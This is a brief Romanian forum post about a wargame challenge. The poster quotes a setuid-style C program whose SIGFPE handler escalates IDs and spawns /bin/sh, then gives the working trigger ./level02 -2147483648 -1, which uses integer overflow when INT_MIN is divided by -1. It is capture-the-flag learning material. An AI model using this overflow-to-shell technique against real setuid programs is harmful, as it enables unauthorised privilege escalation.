Exploit this

[against_modern_football]

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
	printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
	puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}

Codul trebuie sa sara din IF si sa ajunga la urmatoarea instructiune. ( nu merge divide by 0 din cauza la !atoi(argv[2]). Are careva vreo idee?

./level02 -2147483648 -1

Trebuie impartit cel mai mic integer negativ la -1 si primesc aceeasi exceptie

Edited March 6, 2012 by against_modern_football
ca nu mai e nevoie